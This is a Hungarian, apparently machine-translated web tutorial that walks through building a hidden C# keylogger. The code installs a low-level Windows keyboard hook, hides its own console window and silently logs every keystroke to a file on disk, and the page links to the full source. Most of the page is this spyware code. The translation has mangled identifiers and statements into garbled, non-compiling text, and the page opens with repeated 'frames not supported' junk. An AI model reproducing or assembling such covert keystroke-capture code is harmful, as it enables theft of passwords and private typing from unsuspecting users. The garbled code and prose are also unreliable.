Készítsd el saját, egy keylogger c #
Keretek nem támogatja a kereteket nem támogatja a kereteket nem támogatja a kereteket nem támogatja a kereteket nem támogatja a kereteket nem támogatja a kereteket nem támogatja a kereteket nem támogatja a kereteket nem támogatja a kereteket nem támogatja a kereteket nem támogatja a kereteket nem támogatott Keretek nem támogatott keretek nem támogatja kereteket nem támogat kereteket nem támogat kereteket nem támogat kereteket nem támogat kereteket nem támogat kereteket nem támogat kereteket nem támogat kereteket nem támogatott
Keylogger.Org: megtalálni a legjobb keylogger
által Arkadeep de
Mi az a keylogger?
Kérelmét a program, hogy használják, hogy minden a bemeneti gombokat a billentyűzeten. Ez gyakran használják a hacker célra.
Tehát kezdjük el a saját keylogger.
Az első dob egy konzolos alkalmazás Visual Studio.
Most adjuk hozzá a névtér- Használata sistemy.Diagnostika;
- Használata sistemy.Okna.Form;
- Használata sistemy.Vremya vypolneniya.InteropServices;
- Használata sistemy.IO;
Most adjunk hozzá néhány saját globális változók
Private int const WH_KEYBOARD_LL = 13;
Private int const WM_KEYDOWN = 0x0100;
Egyéni statikus LowLevelKeyboardProc _proc = HookCallback;
Egyéni statikus mutató intptr _hookID = intptr.Nol típus;
Most, a main () függvény
Var gomb = GetConsoleWindow ();
showwindow funkció (tollak, SW_HIDE); // elrejteni egy futó alkalmazás
a _hookID = sethook (_proc);
Prilozheniya.Vypolnit ();
UnhookWindowsHookEx (_hookID);
Most adjuk hozzá a kód kívül a main () függvény
Egyéni statikus mutató intptr a sethook (LowLevelKeyboardProc proc)
használva (curProcess = protsess.GetCurrentProcess () eljárás)
használva (curModule ProcessModule = curProcess.MainModule)
SetWindowsHookEx visszatér (WH_KEYBOARD_LL, proc,
GetModuleHandle (curModule.Nazvanie modul), 0);
>
>
Egyéni küldött index intptr LowLevelKeyboardProc (int típusú ncode, pointer intptr paraméter wParam, a mutató meg intptr lParam);
Egyéni statikus mutató intptr HookCallback (int típusú ncode, pointer intptr paraméter wParam, a mutató meg intptr lParam)
ha (ncode> = 0 paramétert wParam == (intptr pointer) WM_KEYDOWN)
Int vkCode = Marshal.ReadInt32 (lParam paraméter);
Konsol.Metoda WriteLine nevû ((billentyűk) vkCode);
/ * Ehhez mappát hoz létre, "ABC" a C dirve * /
Felvételi egység StreamWriter eo = új modul StreamWriter felvétel (@ "C: \ abc" + @ "\ log.txt", true);
// modul felvétel StreamWriter eo = új modul StreamWriter rekord (Függelék StartupPath + @ "\ log.txt", az igazság.)
uv.Pisat ((kulcsok) vkCode);
uv.Zakryt ();
>
CallNextHookEx visszatér (_hookID, ncode, amelyben wParam, lParam kell);
>
Most adjunk hozzá néhány dll könyvtárak
[Attribútum dllimport ( "user32.dll", encoding = Kódolás. Automatikus funkciók SetLastError = true)]
Magán statikus externae mutatót intptr SetWindowsHookEx (int idHook, lpfn LowLevelKeyboardProc, mutató intptr HM, UINT a dwThreadId);
[Attribútum dllimport ( "user32.dll", encoding = Kódolás. Automatikus funkciók SetLastError = true)]
[Vissza: via marshalas attribútum (unmanagedtype znachenie.Bool)]
Egyéni statikus extern int módosító és UnhookWindowsHookEx (RPA intptr pointer);
[Attribútum dllimport ( "user32.dll", encoding = Kódolás. Automatikus funkciók SetLastError = true)]
Egyéni statikus externae mutató intptr CallNextHookEx (RPA intptr mutató típus int ncode, pointer intptr paraméter wParam, a mutató meg intptr lParam);
[Attribútum dllimport ( "kernel32.dll", encoding = Kódolás. Automatikus funkciók SetLastError = true)]
Egyéni statikus externae mutató intptr GetModuleHandle (lpModuleName vonal);
[Attribútum dllimport ( "kernel32.dll")]
statikus externae intptr GetConsoleWindow () mutató;
[Attribútum dllimport ( "user32.dll")]
statikus módosító extern BOOL érték showwindow funkció (hwnd intptr elem mutatót, int nCmdShow típus);
és a végén, hogy SW_HIDE 0
const int SW_HIDE = 0;
Most, miután mindent megtesz a fenti, akkor hibaüzenetet kap, amikor a sistemy.Okna.Form;.
A hiba elkerülése érdekében, meg kell adnia egy linket okna.Form.
Hogyan kell csinálni?
Kattintson a jobb gombbal a projekt nevére Solution Explorer. És kattintson a Hozzáadás hivatkozásra.

Most. Tab „hálózat”, hogy válassza ki a rendszer. Okna.Forma


Most építeni (nyomja meg az F6), és ellenőrizze, hogy van-e hiba vagy sem. Szerint a hibakód nincs jelen. Most, a program futtatásához.
Ha futtatja a kódot prilozheniya.StartupPath majd ellenőrizze a log fájlt a bin -> debug mappában. És akkor is kap egy .EXE ebben a mappában. Így élvezni.
Töltse le a teljes forráskódot itt.
Főoldal> Cikkek> Készíts saját segítségével keylogger C # .Net